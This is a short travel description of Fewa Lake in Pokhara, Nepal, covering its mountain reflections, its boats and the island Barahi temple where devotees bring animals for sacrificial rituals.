Fewa Lake or Fewa Taal being the second largest lake of Nepal, is one of the main attractions and most important landmarks of Pokhara.

On a clear day one can see the sparkling reflection of the summit on the lake, creating a magnificent double image so magical that it seems almost surreal! Numerous brightly colored wooden boats and sail boats can be seen lined up on the shore awaiting people to take them...

One of the most exciting activities of the Fewa Taal is a visit to the Barahi temple, a two storied structure situated on an island almost in the middle of the lake. The temple is dedicated to Goddess Barahi, a boar manifestation of Goddess Ajima, representing the divine female force – Shakti. Boats can be hired to sail across the lake to the temple. Devotees can be seen ferrying male animals and fowls for sacrificial rituals, especially on Saturdays. It can be quite an experience and sight for those who long to witness the age old Hindu culture and tradition – of worshipping deities...
